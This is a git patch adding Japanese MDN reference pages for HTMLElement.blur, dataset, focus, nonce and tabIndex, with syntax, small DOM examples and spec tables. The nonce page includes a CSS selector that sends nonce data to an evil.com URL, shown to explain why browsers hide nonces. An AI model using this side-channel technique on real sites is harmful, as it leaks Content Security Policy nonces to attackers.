From ede8167be634194a14f76f6d45485b8891bcdb35 Mon Sep 17 00:00:00 2001 From: Masahiro FUJIMOTO Date: Fri, 30 Jul 2021 13:16:49 +0900 Subject: orphaned/Web/API/HTMLOrForeignElement のメンバーを HTMLElement へ移動 (#1595) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * orphaned/Web/API/HTMLOrForeignElement のメンバーを HTMLElement へ移動 --- files/ja/web/api/htmlelement/blur/index.html | 89 +++++++++++++ files/ja/web/api/htmlelement/dataset/index.html | 146 ++++++++++++++++++++ files/ja/web/api/htmlelement/focus/index.html | 161 +++++++++++++++++++++++ files/ja/web/api/htmlelement/nonce/index.html | 63 +++++++++ files/ja/web/api/htmlelement/tabindex/index.html | 85 ++++++++++++ 5 files changed, 544 insertions(+) create mode 100644 files/ja/web/api/htmlelement/blur/index.html create mode 100644 files/ja/web/api/htmlelement/dataset/index.html create mode 100644 files/ja/web/api/htmlelement/focus/index.html create mode 100644 files/ja/web/api/htmlelement/nonce/index.html create mode 100644 files/ja/web/api/htmlelement/tabindex/index.html (limited to 'files/ja/web/api') diff --git a/files/ja/web/api/htmlelement/blur/index.html b/files/ja/web/api/htmlelement/blur/index.html new file mode 100644 index 0000000000..5dc5470cd4 --- /dev/null +++ b/files/ja/web/api/htmlelement/blur/index.html @@ -0,0 +1,89 @@ +--- +title: HTMLElement.blur() +slug: Web/API/HTMLElement/blur +tags: + - API + - HTML DOM + - HTMLElement + - Method + - Reference +translation_of: Web/API/HTMLElement/blur +original_slug: Web/API/HTMLElement/blur +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.blur() メソッドは、現在の要素からキーボードフォーカスを取り除きます。

+ +

構文

+ +
element.blur();
+ +

例

+ +

テキスト入力からフォーカスを取り除く

+ +

HTML

+ +
<input type="text" id="myText" value="サンプルテキスト">
+<br><br>
+<button type="button" onclick="focusInput()">クリックするとフォーカスを得ます</button>
+<button type="button" onclick="blurInput()">クリックするとフォーカスを失います</button>
+ +

JavaScript

+ +
function focusInput() {
+  document.getElementById('myText').focus();
+}
+function blurInput() {
+  document.getElementById('myText').blur();
+}
+ +

結果

+ +

{{ EmbedLiveSample('Remove_focus_from_a_text_input') }}

+ +

仕様

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様状態コメント
{{SpecName('HTML WHATWG', 'editing.html#dom-blur', 'blur')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#blur()-0', 'blur')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-blur', 'blur')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-28216144', 'blur')}}{{Spec2('DOM2 HTML')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.HTMLElement.blur")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/htmlelement/dataset/index.html b/files/ja/web/api/htmlelement/dataset/index.html new file mode 100644 index 0000000000..bfdcffc940 --- /dev/null +++ b/files/ja/web/api/htmlelement/dataset/index.html @@ -0,0 +1,146 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - API + - HTML DOM + - HTMLElement + - HTMLElement + - Property + - Read-only + - Reference + - SVG + - SVG Custom Attributes + - SVG2 + - SVGElement + - dataset + - プロパティ + - 読取専用 +translation_of: Web/API/HTMLElement/dataset +--- +
{{APIRef("HTML DOM")}}
+ +

dataset は {{DOMxRef("HTMLElement")}} インターフェイスのプロパティで、要素に設定されたすべてのカスタムデータ属性 (data-*) への読み取り/書き込みアクセスを提供します。 このアクセスは、 HTML と DOM の両方の中で利用できます。これは {{domxref("DOMString")}} のマップ ({{domxref("DOMStringMap")}}) で、1つのカスタムデータ属性が1つのエントリに対応します。なお、 dataset プロパティ自体は読み取ることができますが、直接書き込むことはできません。代わりに、すべての書き込みは dataset 内の個々のプロパティに対して行われる必要があり、それはデータ属性を表します。また、 HTML の data-属性とそれに対応する DOM dataset.プロパティ　は同じ名前を共有しませんが、次のように常に近いものになります。

+ + + +

以下の情報に加えて、データ属性の使用の記事に、HTML データ属性の使用方法に関するガイドがあります。

+ +

名前変換

+ +

ダッシュスタイルからキャメルケースへ: カスタムデータ属性名は、次のルールに従って {{ domxref("DOMStringMap") }} エントリのキーに変換されます。

+ + + +

キャメルケースからダッシュスタイルへ: キーを属性名にマッピングする逆の変換では、次のルールが使用されます。

+ + + +

上記の規則の制約事項により、2つの変換が互いに逆変換になります。

+ +

例えば、data-abc-def という名前の属性は、キー abcDef に対応します。

+ + + +

値へのアクセス

+ + + +

値の設定

+ + + +

構文

+ +
const dataAttrMap = element.dataset
+
+ +

値

+ +

{{domxref("DOMStringMap")}} です。

+ +

例

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe</div>
+ +
const el = document.querySelector('#user');
+
+// el.id === 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+// データ属性の設定
+el.dataset.dateOfBirth = '1960-10-03';
+// 結果: el.dataset.dateOfBirth === 1960-10-03
+
+delete el.dataset.dateOfBirth;
+// 結果: el.dataset.dateOfBirth === undefined
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// 結果: 'someDataAttr' in el.dataset === true
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML WHATWG')}}最新のスナップショットである {{SpecName('HTML5.1')}} から変更なし
{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5.1')}}{{SpecName('HTML WHATWG')}} のスナップショット、 {{SpecName('HTML5 W3C')}} からの変更なし
{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5 W3C')}}{{SpecName('HTML WHATWG')}} のスナップショット、初回定義
+ +

ブラウザーの互換性

+ +

{{Compat("api.HTMLElement.dataset")}}

+ + + +

関連情報

+ + diff --git a/files/ja/web/api/htmlelement/focus/index.html b/files/ja/web/api/htmlelement/focus/index.html new file mode 100644 index 0000000000..42129a1465 --- /dev/null +++ b/files/ja/web/api/htmlelement/focus/index.html @@ -0,0 +1,161 @@ +--- +title: HTMLElement.focus() +slug: Web/API/HTMLElement/focus +tags: + - API + - Focus + - HTML DOM + - HTMLElement + - Method + - Reference + - Scroll + - View + - activate +translation_of: Web/API/HTMLElement/focus +original_slug: Web/API/HTMLElement/focus +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.focus() メソッドは、指定された要素にフォーカスを設定できる場合、フォーカスを設定します。 フォーカスされた要素は、デフォルトでキーボードや同様のイベントを受け取る要素です。

+ +

構文

+ +
element.focus(options); // Object parameter
+ +

パラメーター

+ +
+
options {{optional_inline}}
+
フォーカスプロセスの側面を制御するオプションを提供するオプションのオブジェクト。 このオブジェクトには、次のプロパティが含まれる場合があります。
+
+
+
preventScroll {{optional_inline}}
+
ブラウザーがドキュメントをスクロールして、新しくフォーカスされた要素を表示するかどうかを示す Boolean の値。 preventScroll の値が false（デフォルト）の場合、ブラウザーは要素をフォーカスした後、その要素をスクロールして表示します。 preventScroll が true に設定されている場合、スクロールしません。
+
+
+
+ +

例

+ +

テキストフィールドにフォーカスする

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myTextField").focus();
+}
+ +

HTML

+ +
<input type="text" id="myTextField" value="テキストフィールド">
+<p></p>
+<button type="button" onclick="focusMethod()">クリックしてテキストフィールドにフォーカスしてください！</button>
+
+ +

結果

+ +

{{ EmbedLiveSample('Focus_on_a_text_field') }}

+ +

ボタンにフォーカスする

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myButton").focus();
+}
+
+ +

HTML

+ +
<button type="button" id="myButton">クリックしてください！</button>
+<p></p>
+<button type="button" onclick="focusMethod()">クリックしてボタンにフォーカスしてください！</button>
+
+ +

結果

+ +

{{ EmbedLiveSample('Focus_on_a_button') }}

+ +

focusOption でフォーカスする

+ +

JavaScript

+ +
focusScrollMethod = function getFocus() {
+  document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+  document.getElementById("myButton").focus({preventScroll:true});
+}
+
+
+ +

HTML

+ +
<button type="button" onclick="focusScrollMethod()">クリックしてボタンにフォーカスしてください！</button>
+<button type="button" onclick="focusNoScrollMethod()">クリックしてスクロールせずにボタンにフォーカスしてください！</button>
+
+<div id="container" style="height: 1000px; width: 1000px;">
+<button type="button" id="myButton" style="margin-top: 500px;">クリックしてください！</button>
+</div>
+
+
+ +

結果

+ +

{{ EmbedLiveSample('Focus_prevent_scroll') }}

+ +

仕様

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様状態コメント
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
+ +

ノート

+ +

mousedown イベントハンドラから HTMLElement.focus() を呼び出す場合は、event.preventDefault() を呼び出して、フォーカスがその HTMLElement から離れないようにする必要があります。

+ +

ブラウザーの互換性

+ + + +

{{Compat("api.HTMLElement.focus")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/htmlelement/nonce/index.html b/files/ja/web/api/htmlelement/nonce/index.html new file mode 100644 index 0000000000..230781b021 --- /dev/null +++ b/files/ja/web/api/htmlelement/nonce/index.html @@ -0,0 +1,63 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +tags: + - API + - Content Security Policy + - Experimental + - HTML DOM + - HTMLElement + - Property + - Reference + - nonce +translation_of: Web/API/HTMLElement/nonce +original_slug: Web/API/HTMLElement/nonce +--- +
{{APIRef("HTML DOM")}}
+ +

nonce は {{DOMxRef("HTMLElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (Content Security Policy) で使用される一度だけの暗号化番号を返します。

+ +

後の実装では、 nonce 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。

+ +

例

+ +

ノンス値の受け取り

+ +

以前は、すべてのブラウザーが IDL 属性の nonce に対応しているわけではなかったので、回避策としては、代替として getAttribute を使用するようにしていました。

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると nonce の値を隠します (空の文字列が返されます)。 IDL プロパティ (script['nonce']) がノンスにアクセスする唯一の方法となります。

+ +

ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

仕様書

+ + + + + + + + + + + + +
仕様書
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}
+ +

ブラウザーの互換性

+ +

{{Compat("api.HTMLElement.nonce")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/htmlelement/tabindex/index.html b/files/ja/web/api/htmlelement/tabindex/index.html new file mode 100644 index 0000000000..c327f1b168 --- /dev/null +++ b/files/ja/web/api/htmlelement/tabindex/index.html @@ -0,0 +1,85 @@ +--- +title: HTMLElement.tabIndex +slug: Web/API/HTMLElement/tabIndex +tags: + - API + - HTML DOM + - HTMLElement + - HTMLElement + - Property + - Reference + - tabIndex +translation_of: Web/API/HTMLElement/tabIndex +original_slug: Web/API/HTMLElement/tabIndex +--- +
{{APIRef("HTML DOM")}}
+ +

tabIndex は {{DOMxRef("HTMLElement")}} インターフェイスのプロパティで、現在の要素のタブの順序を表します。

+ +

タブの順序は次のとおりです。

+ +
    +
  1. 正の tabIndex を持つ要素。 同一の tabIndex を持つ要素は、表示された順序でナビゲートすべきです。 ナビゲーションは、最も低い tabIndex から最も高い tabIndex に進みます
    2. +
  2. tabIndex 属性をサポートしていない要素、または tabIndex 属性をサポートし、 tabIndex を 0 に割り当てる要素は、それらが表示された順序で。
    3. +
+ +

無効になっている要素は、タブの順序に関与しません。

+ +

値は逐次的である必要はなく、特定の値で始まる必要もありません。 各ブラウザーは非常に大きな値を切り取りますが、値は負である場合もあります。

+ +

構文

+ +
element.tabIndex = index;
+var index = element.tabIndex;
+
+ +

値

+ +

index は整数です。

+ +

例

+ +
const b1 = document.getElementById('button1');
+
+b1.tabIndex = 1;
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-tabindex', 'tabindex')}}{{Spec2('HTML WHATWG')}}{{SpecName('DOM2 HTML')}} からの変更なし。
{{SpecName('DOM2 HTML', 'html.html#ID-40676705', 'tabindex')}}{{Spec2('DOM2 HTML')}}{{SpecName('DOM1')}} からの変更なし。
{{SpecName('DOM1', 'level-one-html.html#ID-40676705', 'tabindex')}}{{Spec2('DOM1')}}初回定義
+ +

ブラウザーの互換性

+ +

{{Compat("api.HTMLElement.tabIndex")}}

+ +

関連情報

+ + -- cgit v1.2.3-54-g00ecf